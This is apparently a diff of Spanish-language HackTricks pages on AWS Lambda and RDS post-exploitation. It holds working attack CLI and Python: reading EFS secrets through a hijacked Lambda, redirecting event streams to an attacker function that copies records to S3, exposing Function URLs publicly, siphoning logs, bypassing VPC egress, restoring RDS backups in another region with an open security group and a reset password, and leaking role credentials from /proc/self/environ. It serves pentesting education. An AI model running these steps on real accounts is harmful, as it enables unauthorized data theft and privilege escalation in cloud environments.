2) Sobrescribir el código con un lector simple que liste archivos y muestre los primeros 200 bytes de un archivo candidato a secret/config
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) Invocar y obtener los datos
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
La salida debe contener el listado del directorio en /mnt/ht y una pequeña vista previa de un archivo secreto o de configuración seleccionado desde EFS.
|
||||
|
||||
## Impacto
|
||||
|
||||
Un atacante con los permisos listados puede montar puntos de acceso EFS arbitrarios dentro del VPC en funciones Lambda víctimas para leer y exfiltrar configuraciones y secretos compartidos almacenados en EFS que previamente eran inaccesibles para esa función.
|
||||
|
||||
## Remediación
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original.
|
||||
|
||||
## Impacto
|
||||
- Desviar y leer registros en vivo de streams/queues existentes sin modificar las aplicaciones productoras ni el código de la víctima.
|
||||
- Posible exfiltración de datos o manipulación de la lógica al procesar el tráfico de la víctima en una función maliciosa.
|
||||
|
||||
## Permisos requeridos
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- Capacidad para desplegar o referenciar una Lambda controlada por el atacante (`lambda:CreateFunction` o permiso para usar una existente).
|
||||
|
||||
## Pasos
|
||||
|
||||
1) Enumerar event source mappings para la función víctima
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
2) Prepara una Lambda receptora controlada por el atacante (misma región; idealmente VPC/runtime similar)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
3) Reapuntar el mapping a la función del atacante
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
4) Genera un evento en la fuente para que el mapeo se active (ejemplo: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
5) Verificar que la función atacante reciba el lote
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
6) Sigilo opcional
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
Notas:
|
||||
- Para SQS ESMs, el rol de ejecución de la Lambda que procesa la cola necesita `sqs:ReceiveMessage`, `sqs:DeleteMessage`, y `sqs:GetQueueAttributes` (política administrada: `AWSLambdaSQSQueueExecutionRole`).
|
||||
- El UUID del ESM permanece igual; solo se cambia su `FunctionArn`, por lo que los productores y los source ARNs quedan intactos.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Exposición pública de Lambda Function URL (AuthType NONE + Política pública de invocación)
|
||||
|
||||
Convierte una Lambda Function URL privada en un endpoint público no autenticado cambiando el AuthType de la Function URL a NONE y adjuntando una política basada en recursos que otorgue lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend.
|
||||
|
||||
## Abuso
|
||||
|
||||
- Requisitos previos: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Región: us-east-1
|
||||
|
||||
### Pasos
|
||||
1) Asegúrate de que la función tenga una Function URL (por defecto AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Cambia la URL a pública (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Añade una declaración de política basada en recursos para permitir principals no autenticados:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Recupera la URL e invoca sin credenciales:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impacto
|
||||
- La función Lambda pasa a ser accesible de forma anónima a través de internet.
|
||||
|
||||
### Ejemplo de salida (200 no autenticado)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
### Limpieza
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS Lambda – Log Siphon mediante LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa de `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un grupo de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secrets/request bodies o falla con stack traces, puedes recopilarlos desde el nuevo grupo de logs.
|
||||
|
||||
## Permisos requeridos
|
||||
- lambda:UpdateFunctionConfiguration
|
||||
- lambda:GetFunctionConfiguration
|
||||
- lambda:InvokeFunction (o confiar en triggers existentes)
|
||||
- logs:CreateLogGroup (a menudo no requerido si el role de la función ya lo tiene)
|
||||
- logs:FilterLogEvents (para leer eventos)
|
||||
|
||||
## Pasos
|
||||
1) Crea un grupo sink de logs
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
2) Redirigir los registros de la función objetivo
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
Espera hasta que `LastUpdateStatus` sea `Successful`:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
3) Invocar y leer desde el sink
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
## Impacto
|
||||
- Redirigir de forma encubierta todos los logs de la aplicación/sistema a un grupo de logs que controlas, eludiendo la expectativa de que los logs solo vayan a `/aws/lambda/<fn>`.
|
||||
- Exfiltrar datos sensibles que la función imprima o que aparezcan en errores.
|
||||
|
||||
## Limpieza
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
## Notas
|
||||
- Los controles de logging son parte de `LoggingConfig` de Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
|
||||
- Por defecto, Lambda envía los logs a `/aws/lambda/<function>`, pero puedes apuntar a cualquier nombre de log group; Lambda (o el rol de ejecución) lo creará si tiene permiso.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abusa de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o para congelar las actualizaciones (FunctionUpdate). Esto mantiene la compatibilidad con layers/wrappers maliciosos y puede dejar la función en un runtime obsoleto y vulnerable, facilitando la explotación y la persistencia a largo plazo.
|
||||
|
||||
Requisitos: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Ejemplo (us-east-1):
|
||||
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Opcionalmente, fija a una versión específica del runtime extrayendo el Runtime Version ARN de los logs INIT_START y usando `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Fuerza que una función Lambda salga de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT.
|
||||
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
|
||||
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
|
||||
0) Prepare a minimal handler that proves outbound HTTP works
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Record current VPC config (to restore later if needed)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Detach the VPC by setting empty lists
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoke and verify outbound access
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restore original VPC config
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- Recovers unrestricted outbound internet access from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- Si creaste cambios temporales en el código/handler, restáuralos.
|
||||
- Opcionalmente restaura el VpcConfig original guardado en /tmp/orig-vpc.json como se muestra arriba.
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - RDS Post Explotación
|
||||
# AWS - RDS Post-explotación
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Para más información consulta:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot.
|
||||
Si el atacante tiene los permisos suficientes, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **disponible** **públicamente**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
|
||||
Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
|
||||
|
||||
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otros** snapshots creados sean **públicos**.
|
||||
Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún así podría hacer que **otros** snapshots creados sean **públicos**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría potencialmente usar esta información para escalar sus privilegios o realizar acciones no autorizadas.
|
||||
Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia RDS**. Si datos sensibles o credenciales de acceso se registran por accidente, el atacante podría usar esta información para escalar privilegios o realizar acciones no autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impacto Potencial**: Acceso a información sensible o acciones no autorizadas utilizando credenciales filtradas.
|
||||
**Impacto potencial**: Acceso a información sensible o a acciones no autorizadas utilizando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -70,13 +70,97 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTA]
|
||||
> TODO: Probar
|
||||
> [!NOTE]
|
||||
> PENDIENTE: Probar
|
||||
|
||||
Un atacante con este permiso puede **exportar una instantánea de la instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, puede acceder potencialmente a datos sensibles dentro de la instantánea exportada.
|
||||
Un atacante con este permiso puede **exportar una instantánea de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado.
|
||||
|
||||
### Replicación de backups automatizados entre Regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusar de la replicación de backups automatizados entre Regiones para duplicar discretamente los backups automatizados de una instancia RDS en otra AWS Region y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorear.
|
||||
|
||||
Permisos necesarios (mínimos):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante.
|
||||
|
||||
<details>
|
||||
<summary>CLI de extremo a extremo (reemplazar marcadores de posición)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
--region <SOURCE_REGION> \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
|
||||
--output table
|
||||
|
||||
# 2) Start cross-Region automated backups replication (run in DEST region B)
|
||||
aws rds start-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
|
||||
--source-region <SOURCE_REGION> \
|
||||
--backup-retention-period 7
|
||||
|
||||
# 3) Wait for replication to be ready in DEST
|
||||
aws rds describe-db-instance-automated-backups \
|
||||
--region <DEST_REGION> \
|
||||
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
|
||||
--output table
|
||||
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
|
||||
|
||||
# 4) Restore to latest restorable time in DEST
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
|
||||
--target-db-instance-identifier <TARGET_DB_ID> \
|
||||
--use-latest-restorable-time \
|
||||
--db-instance-class db.t3.micro
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5) Make public and reset credentials in DEST
|
||||
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
|
||||
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
|
||||
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
|
||||
--query GroupId --output text)
|
||||
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
|
||||
--group-id "$OPEN_SG_ID" \
|
||||
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
|
||||
|
||||
# 5b) Publicly expose restored DB and attach the SG
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids "$OPEN_SG_ID" \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5c) Reset the master password
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--master-user-password '<NEW_STRONG_PASSWORD>' \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
|
||||
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
|
||||
|
||||
# 7) Optional: stop replication
|
||||
aws rds stop-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,8 +13,8 @@ Más información sobre lambda en:
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Los usuarios con los permisos **`iam:PassRole`, `lambda:CreateFunction` y `lambda:InvokeFunction`** pueden escalar sus privilegios.\
|
||||
Pueden **crear una nueva función Lambda y asignarle un rol IAM existente**, otorgando a la función los permisos asociados con ese rol. El usuario puede luego **escribir y subir código a esta función Lambda (con un rev shell, por ejemplo)**.\
|
||||
Una vez que la función está configurada, el usuario puede **activar su ejecución** y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas de manera indirecta a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado con ella.\\
|
||||
Pueden **crear una nueva función Lambda y asignarle un role IAM existente**, otorgando a la función los permisos asociados con ese role. El usuario puede entonces **escribir y subir código a esta función Lambda (con un rev shell por ejemplo)**.\
|
||||
Una vez que la función está configurada, el usuario puede **disparar su ejecución** y las acciones deseadas invocando la función Lambda a través de la AWS API. Este enfoque permite al usuario realizar tareas de forma indirecta mediante la función Lambda, operando con el nivel de acceso otorgado al role IAM asociado.\\
|
||||
|
||||
Un atacante podría abusar de esto para obtener un **rev shell y robar el token**:
|
||||
```python:rev.py
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
También podrías **abusar de los permisos del rol de lambda** desde la propia función lambda.\
|
||||
Si el rol de lambda tenía suficientes permisos, podrías usarlo para otorgarte derechos de administrador:
|
||||
También podrías **abusar de las lambda role permissions** desde la misma lambda function.\
|
||||
Si el lambda role tuviera suficientes permisos podrías usarlo para concederte admin rights:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
También es posible filtrar las credenciales del rol de la lambda sin necesidad de una conexión externa. Esto sería útil para **Lambdas aisladas de la red** utilizadas en tareas internas. Si hay grupos de seguridad desconocidos filtrando tus shells reversos, este fragmento de código te permitirá filtrar directamente las credenciales como la salida de la lambda.
|
||||
También es posible leak the lambda's role credentials sin necesitar una conexión externa. Esto sería útil para **Network isolated Lambdas** utilizadas en tareas internas. Si hay security groups desconocidos que filtran tus reverse shells, este fragmento de código te permitirá leak directamente las credenciales como salida del lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo al rol de servicio lambda arbitrario especificado.
|
||||
**Impacto potencial:** Privesc directo al role de servicio lambda arbitrario especificado.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que, aunque pueda parecer interesante, **`lambda:InvokeAsync`** **no** permite por sí solo **ejecutar `aws lambda invoke-async`**, también necesita `lambda:InvokeFunction`
|
||||
> Ten en cuenta que, aunque pueda parecer interesante, **`lambda:InvokeAsync`** **no** permite por sí solo **ejecutar `aws lambda invoke-async`**, también necesitas `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
Al igual que en el escenario anterior, puede **otorgarse el permiso `lambda:InvokeFunction`** si tiene el permiso **`lambda:AddPermission`**
|
||||
Como en el escenario anterior, puedes **concederte a ti mismo el permiso `lambda:InvokeFunction`** si tienes el permiso **`lambda:AddPermission`**
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo al rol de servicio lambda arbitrario especificado.
|
||||
**Potential Impact:** Privesc directo al rol de servicio Lambda arbitrario especificado.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Los usuarios con permisos de **`iam:PassRole`, `lambda:CreateFunction` y `lambda:CreateEventSourceMapping`** (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden **escalar privilegios** indirectamente incluso sin `lambda:InvokeFunction`.\
|
||||
Los usuarios con **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (y potencialmente `dynamodb:PutItem` y `dynamodb:CreateTable`) pueden indirectamente **escalate privileges** incluso sin `lambda:InvokeFunction`.\
|
||||
Pueden crear una **función Lambda con código malicioso y asignarle un rol IAM existente**.
|
||||
|
||||
En lugar de invocar directamente la Lambda, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda a través de un mapeo de fuente de eventos. Esta configuración asegura que la función Lambda se **active automáticamente al ingresar un nuevo elemento** en la tabla, ya sea por la acción del usuario o por otro proceso, invocando indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado.
|
||||
En lugar de invocar directamente la Lambda, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda mediante un event source mapping. Esta configuración asegura que la función Lambda sea **disparada automáticamente al registrarse un nuevo elemento** en la tabla, ya sea por la acción del usuario u otro proceso, invocando así indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
